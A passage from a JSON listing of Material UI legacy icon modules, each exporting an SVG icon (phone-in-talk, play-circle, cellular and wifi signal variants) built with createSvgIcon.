    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M12.88 5.05c3.18.4 5.67 2.89 6.07 6.07.06.51.49.88.99.88.04 0 .08 0 .12-.01.55-.07.94-.57.87-1.12-.51-4.09-3.72-7.3-7.81-7.81-.55-.06-1.05.33-1.11.88-.07.55.32 1.05.87 1.11zm.38 2.11c-.53-.14-1.08.18-1.22.72s.18 1.08.72 1.22c1.05.27 1.87 1.09 2.15 2.15.12.45.52.75.97.75.08 0 .17-.01.25-.03.53-.14.85-.69.72-1.22-.47-1.77-1.84-3.14-3.59-3.59zm5.97 8.1-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98z\" />\n, 'PhoneInTalkRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/PhoneInTalkSharp.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M19 12h2c0-4.97-4.03-9-9-9v2c3.87 0 7 3.13 7 7zm-4 0h2c0-2.76-2.24-5-5-5v2c1.66 0 3 1.34 3 3zm-1.79 5.37c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97v-5.51l-5.27-.61-2.52 2.52z\" />\n, 'PhoneInTalkSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/PhoneInTalkTwoTone.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  [<path d=\"M6.54 5h-1.5c.09 1.32.34 2.58.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58zm8.66 13.21c1.21.41 2.48.67 3.8.76v-1.5c-.88-.07-1.75-.22-2.6-.45l-1.2 1.19z\" opacity=\".3\" key=\"0\" />,<path d=\"M15 12h2c0-2.76-2.24-5-5-5v2c1.66 0 3 1.34 3 3zm4 0h2c0-4.97-4.03-9-9-9v2c3.87 0 7 3.13 7 7zm1 3.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1zM5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79zM19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45v1.51z\" key=\"1\" />,]\n, 'PhoneInTalkTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/PlayCircleFilledWhite.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path transform=\"scale(0.5, 0.5)\" d=\"M24 4C12.95 4 4 12.95 4 24s8.95 20 20 20 20-8.95 20-20S35.05 4 24 4zm-4 29V15l12 9-12 9z\" />\n, 'PlayCircleFilledWhite');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/PlayCircleFilledWhiteOutlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm-2-3.5l6-4.5-6-4.5z\" />\n, 'PlayCircleFilledWhiteOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/PlayCircleFilledWhiteRounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-2 13.5v-7c0-.41.47-.65.8-.4l4.67 3.5c.27.2.27.6 0 .8l-4.67 3.5c-.33.25-.8.01-.8-.4z\" />\n, 'PlayCircleFilledWhiteRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/PlayCircleFilledWhiteSharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-2 14.5v-9l6 4.5-6 4.5z\" />\n, 'PlayCircleFilledWhiteSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/PlayCircleFilledWhiteTwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M12 20c4.41 0 8-3.59 8-8s-3.59-8-8-8-8 3.59-8 8 3.59 8 8 8zM10 7.5l6 4.5-6 4.5v-9z\" opacity=\".3\" /><path d=\"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10zm0-18c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8zm-2 3.5v9l6-4.5z\" /></React.Fragment>\n, 'PlayCircleFilledWhiteTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellular1Bar.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M2 22h20V2z\" /><path d=\"M12 12L2 22h10z\" /></React.Fragment>\n, 'SignalCellular1Bar');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellular1BarOutlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M2 22h20V2L2 22z\" /><path d=\"M12 12L2 22h10V12z\" /></React.Fragment>\n, 'SignalCellular1BarOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellular1BarRounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M4.41 22H20c1.1 0 2-.9 2-2V4.41c0-.89-1.08-1.34-1.71-.71L3.71 20.29c-.63.63-.19 1.71.7 1.71z\" /><path d=\"M12 12l-8.29 8.29c-.63.63-.19 1.71.7 1.71H12V12z\" /></React.Fragment>\n, 'SignalCellular1BarRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellular1BarSharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M2 22h20V2L2 22z\" /><path d=\"M12 12L2 22h10V12z\" /></React.Fragment>\n, 'SignalCellular1BarSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellular1BarTwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M2 22h20V2L2 22z\" /><path d=\"M12 12L2 22h10V12z\" /></React.Fragment>\n, 'SignalCellular1BarTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellular2Bar.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M2 22h20V2z\" /><path d=\"M14 10L2 22h12z\" /></React.Fragment>\n, 'SignalCellular2Bar');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellular2BarOutlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M2 22h20V2L2 22z\" /><path d=\"M14 10L2 22h12V10z\" /></React.Fragment>\n, 'SignalCellular2BarOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellular2BarRounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M4.41 22H20c1.1 0 2-.9 2-2V4.41c0-.89-1.08-1.34-1.71-.71L3.71 20.29c-.63.63-.19 1.71.7 1.71z\" /><path d=\"M14 10L3.71 20.29c-.63.63-.19 1.71.7 1.71H14V10z\" /></React.Fragment>\n, 'SignalCellular2BarRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellular2BarSharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M2 22h20V2L2 22z\" /><path d=\"M14 10L2 22h12V10z\" /></React.Fragment>\n, 'SignalCellular2BarSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellular2BarTwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M2 22h20V2L2 22z\" /><path d=\"M14 10L2 22h12V10z\" /></React.Fragment>\n, 'SignalCellular2BarTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellular3Bar.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M2 22h20V2z\" /><path d=\"M17 7L2 22h15z\" /></React.Fragment>\n, 'SignalCellular3Bar');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellular3BarOutlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M2 22h20V2L2 22z\" /><path d=\"M17 7L2 22h15V7z\" /></React.Fragment>\n, 'SignalCellular3BarOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellular3BarRounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M4.41 22H20c1.1 0 2-.9 2-2V4.41c0-.89-1.08-1.34-1.71-.71L3.71 20.29c-.63.63-.19 1.71.7 1.71z\" /><path d=\"M17 7L3.71 20.29c-.63.63-.19 1.71.7 1.71H17V7z\" /></React.Fragment>\n, 'SignalCellular3BarRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellular3BarSharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M2 22h20V2L2 22z\" /><path d=\"M17 7L2 22h15V7z\" /></React.Fragment>\n, 'SignalCellular3BarSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellular3BarTwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M2 22h20V2L2 22z\" /><path d=\"M17 7L2 22h15V7z\" /></React.Fragment>\n, 'SignalCellular3BarTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellularConnectedNoInternet1Bar.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M22 8V2L2 22h16V8z\" /><path d=\"M20 10v8h2v-8h-2zm-8 12V12L2 22h10zm8 0h2v-2h-2v2z\" /></React.Fragment>\n, 'SignalCellularConnectedNoInternet1Bar');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellularConnectedNoInternet1BarOutlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M22 8V2L2 22h16V8h4z\" /><path d=\"M20 10v8h2v-8h-2zm-8 12V12L2 22h10zm8 0h2v-2h-2v2z\" /></React.Fragment>\n, 'SignalCellularConnectedNoInternet1BarOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellularConnectedNoInternet1BarRounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M22 8V4.41c0-.89-1.08-1.34-1.71-.71L3.71 20.29c-.63.63-.19 1.71.7 1.71H18V11c0-1.66 1.34-3 3-3h1z\" /><path d=\"M20 11v6c0 .55.45 1 1 1s1-.45 1-1v-6c0-.55-.45-1-1-1s-1 .45-1 1zm-8 11V12l-8.29 8.29c-.63.63-.19 1.71.7 1.71H12zm8 0h2v-2h-2v2z\" /></React.Fragment>\n, 'SignalCellularConnectedNoInternet1BarRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellularConnectedNoInternet1BarSharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M22 8V2L2 22h16V8h4z\" /><path d=\"M20 10v8h2v-8h-2zm-8 12V12L2 22h10zm8 0h2v-2h-2v2z\" /></React.Fragment>\n, 'SignalCellularConnectedNoInternet1BarSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellularConnectedNoInternet1BarTwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M22 8V2L2 22h16V8h4z\" /><path d=\"M20 10v8h2v-8h-2zm-8 12V12L2 22h10zm8 0h2v-2h-2v2z\" /></React.Fragment>\n, 'SignalCellularConnectedNoInternet1BarTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellularConnectedNoInternet2Bar.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M22 8V2L2 22h16V8z\" /><path d=\"M14 22V10L2 22h12zm6-12v8h2v-8h-2zm0 12h2v-2h-2v2z\" /></React.Fragment>\n, 'SignalCellularConnectedNoInternet2Bar');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellularConnectedNoInternet2BarOutlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M22 8V2L2 22h16V8h4z\" /><path d=\"M14 22V10L2 22h12zm6-12v8h2v-8h-2zm0 12h2v-2h-2v2z\" /></React.Fragment>\n, 'SignalCellularConnectedNoInternet2BarOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellularConnectedNoInternet2BarRounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M22 8V4.41c0-.89-1.08-1.34-1.71-.71L3.71 20.29c-.63.63-.19 1.71.7 1.71H18V11c0-1.66 1.34-3 3-3h1z\" /><path d=\"M14 22V10L3.71 20.29c-.63.63-.19 1.71.7 1.71H14zm6-11v6c0 .55.45 1 1 1s1-.45 1-1v-6c0-.55-.45-1-1-1s-1 .45-1 1zm0 11h2v-2h-2v2z\" /></React.Fragment>\n, 'SignalCellularConnectedNoInternet2BarRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellularConnectedNoInternet2BarSharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M22 8V2L2 22h16V8h4z\" /><path d=\"M14 22V10L2 22h12zm6-12v8h2v-8h-2zm0 12h2v-2h-2v2z\" /></React.Fragment>\n, 'SignalCellularConnectedNoInternet2BarSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellularConnectedNoInternet2BarTwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M22 8V2L2 22h16V8h4z\" /><path d=\"M14 22V10L2 22h12zm6-12v8h2v-8h-2zm0 12h2v-2h-2v2z\" /></React.Fragment>\n, 'SignalCellularConnectedNoInternet2BarTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellularConnectedNoInternet3Bar.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M22 8V2L2 22h16V8z\" /><path d=\"M17 22V7L2 22h15zm3-12v8h2v-8h-2zm0 12h2v-2h-2v2z\" /></React.Fragment>\n, 'SignalCellularConnectedNoInternet3Bar');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellularConnectedNoInternet3BarOutlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M22 8V2L2 22h16V8h4z\" /><path d=\"M18 22V6L2 22h16zm2-12v8h2v-8h-2zm0 12h2v-2h-2v2z\" /></React.Fragment>\n, 'SignalCellularConnectedNoInternet3BarOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellularConnectedNoInternet3BarRounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M22 8V4.41c0-.89-1.08-1.34-1.71-.71L3.71 20.29c-.63.63-.19 1.71.7 1.71H18V11c0-1.66 1.34-3 3-3h1z\" /><path d=\"M18 22V6L3.71 20.29c-.63.63-.19 1.71.7 1.71H18zm2-11v6c0 .55.45 1 1 1s1-.45 1-1v-6c0-.55-.45-1-1-1s-1 .45-1 1zm0 11h2v-2h-2v2z\" /></React.Fragment>\n, 'SignalCellularConnectedNoInternet3BarRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellularConnectedNoInternet3BarSharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M22 8V2L2 22h16V8h4z\" /><path d=\"M18 22V6L2 22h16zm2-12v8h2v-8h-2zm0 12h2v-2h-2v2z\" /></React.Fragment>\n, 'SignalCellularConnectedNoInternet3BarSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalCellularConnectedNoInternet3BarTwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M22 8V2L2 22h16V8h4z\" /><path d=\"M18 22V6L2 22h16zm2-12v8h2v-8h-2zm0 12h2v-2h-2v2z\" /></React.Fragment>\n, 'SignalCellularConnectedNoInternet3BarTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi1Bar.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M12.01 21.49L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7l11.63 14.49.01.01.01-.01z\" /><path d=\"M6.67 14.86L12 21.49v.01l.01-.01 5.33-6.63C17.06 14.65 15.03 13 12 13s-5.06 1.65-5.33 1.86z\" /></React.Fragment>\n, 'SignalWifi1Bar');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi1BarLock.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M23 16v-1.5c0-1.4-1.1-2.5-2.5-2.5S18 13.1 18 14.5V16c-.5 0-1 .5-1 1v4c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-4c0-.5-.5-1-1-1zm-1 0h-3v-1.5c0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5V16z\" /><path d=\"M15.5 14.5c0-2.8 2.2-5 5-5 .4 0 .7 0 1 .1L23.6 7c-.4-.3-4.9-4-11.6-4C5.3 3 .8 6.7.4 7L12 21.5l3.5-4.3v-2.7z\" opacity=\".3\" /><path d=\"M6.7 14.9l5.3 6.6 3.5-4.3v-2.6c0-.2 0-.5.1-.7-.9-.5-2.2-.9-3.6-.9-3 0-5.1 1.7-5.3 1.9z\" /></React.Fragment>\n, 'SignalWifi1BarLock');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi1BarLockOutlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.5 14.5c0-2.8 2.2-5 5-5 .36 0 .71.04 1.05.11L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7L12 21.5l3.5-4.36V14.5z\" /><path d=\"M15.5 14.5c0-.23.04-.46.07-.68-.92-.43-2.14-.82-3.57-.82-3 0-5.1 1.7-5.3 1.9l5.3 6.6 3.5-4.36V14.5zM23 16v-1.5c0-1.4-1.1-2.5-2.5-2.5S18 13.1 18 14.5V16c-.5 0-1 .5-1 1v4c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-4c0-.5-.5-1-1-1zm-1 0h-3v-1.5c0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5V16z\" /></React.Fragment>\n, 'SignalWifi1BarLockOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi1BarLockRounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.5 14.5c0-2.8 2.2-5 5-5 .36 0 .71.04 1.05.11L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7l10.08 12.56c.8 1 2.32 1 3.12 0l1.94-2.42V14.5z\" /><path d=\"M15.5 14.5c0-.23.04-.46.07-.68-.92-.43-2.14-.82-3.57-.82-3 0-5.1 1.7-5.3 1.9l3.74 4.66c.8 1 2.32 1 3.12 0l1.94-2.42V14.5zM23 16v-1.5c0-1.4-1.1-2.5-2.5-2.5S18 13.1 18 14.5V16c-.5 0-1 .5-1 1v4c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-4c0-.5-.5-1-1-1zm-1 0h-3v-1.5c0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5V16z\" /></React.Fragment>\n, 'SignalWifi1BarLockRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi1BarLockSharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M23 16v-1.34c0-1.47-1.2-2.75-2.66-2.66-1.33.09-2.34 1.16-2.34 2.5V16h-1v6h7v-6h-1zm-1 0h-3v-1.5c0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5V16z\" /><path fillOpacity=\".3\" d=\"M15.5 14.5c0-2.8 2.2-5 5-5 .36 0 .71.04 1.05.11L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7L12 21.5l3.5-4.36V14.5z\" /><path d=\"M15.5 14.5c0-.23.04-.46.07-.68-.92-.43-2.14-.82-3.57-.82-3 0-5.1 1.7-5.3 1.9l5.3 6.6 3.5-4.36V14.5z\" /></React.Fragment>\n, 'SignalWifi1BarLockSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi1BarLockTwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.5 14.5c0-2.8 2.2-5 5-5 .36 0 .71.04 1.05.11L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7L12 21.5l3.5-4.36V14.5z\" /><path d=\"M15.5 14.5c0-.23.04-.46.07-.68-.92-.43-2.14-.82-3.57-.82-3 0-5.1 1.7-5.3 1.9l5.3 6.6 3.5-4.36V14.5zM23 16v-1.5c0-1.4-1.1-2.5-2.5-2.5S18 13.1 18 14.5V16c-.5 0-1 .5-1 1v4c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-4c0-.5-.5-1-1-1zm-1 0h-3v-1.5c0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5V16z\" /></React.Fragment>\n, 'SignalWifi1BarLockTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi1BarOutlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M12.01 21.49L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7l11.63 14.49.01.01.01-.01z\" /><path d=\"M6.67 14.86L12 21.49v.01l.01-.01 5.33-6.63C17.06 14.65 15.03 13 12 13s-5.06 1.65-5.33 1.86z\" /></React.Fragment>\n, 'SignalWifi1BarOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi1BarRounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M6.67 14.86l3.77 4.7c.8 1 2.32 1 3.12 0l3.78-4.7C17.06 14.65 15.03 13 12 13s-5.06 1.65-5.33 1.86z\" /><path fillOpacity=\".3\" d=\"M23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7l10.08 12.56c.8 1 2.32 1 3.12 0L23.64 7z\" /></React.Fragment>\n, 'SignalWifi1BarRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi1BarSharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M12.01 21.49L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7l11.63 14.49.01.01.01-.01z\" /><path d=\"M6.67 14.86L12 21.49v.01l.01-.01 5.33-6.63C17.06 14.65 15.03 13 12 13s-5.06 1.65-5.33 1.86z\" /></React.Fragment>\n, 'SignalWifi1BarSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi1BarTwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M12.01 21.49L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7l11.63 14.49.01.01.01-.01z\" /><path d=\"M6.67 14.86L12 21.49v.01l.01-.01 5.33-6.63C17.06 14.65 15.03 13 12 13s-5.06 1.65-5.33 1.86z\" /></React.Fragment>\n, 'SignalWifi1BarTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi2Bar.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M12.01 21.49L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7l11.63 14.49.01.01.01-.01z\" /><path d=\"M4.79 12.52l7.2 8.98H12l.01-.01 7.2-8.98C18.85 12.24 16.1 10 12 10s-6.85 2.24-7.21 2.52z\" /></React.Fragment>\n, 'SignalWifi2Bar');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi2BarLock.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M23 16v-1.5c0-1.4-1.1-2.5-2.5-2.5S18 13.1 18 14.5V16c-.5 0-1 .5-1 1v4c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-4c0-.5-.5-1-1-1zm-1 0h-3v-1.5c0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5V16z\" /><path d=\"M15.5 14.5c0-2.8 2.2-5 5-5 .4 0 .7 0 1 .1L23.6 7c-.4-.3-4.9-4-11.6-4C5.3 3 .8 6.7.4 7L12 21.5l3.5-4.3v-2.7z\" opacity=\".3\" /><path d=\"M4.8 12.5l7.2 9 3.5-4.4v-2.6c0-1.3.5-2.5 1.4-3.4C15.6 10.5 14 10 12 10c-4.1 0-6.8 2.2-7.2 2.5z\" /></React.Fragment>\n, 'SignalWifi2BarLock');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi2BarLockOutlined.js",
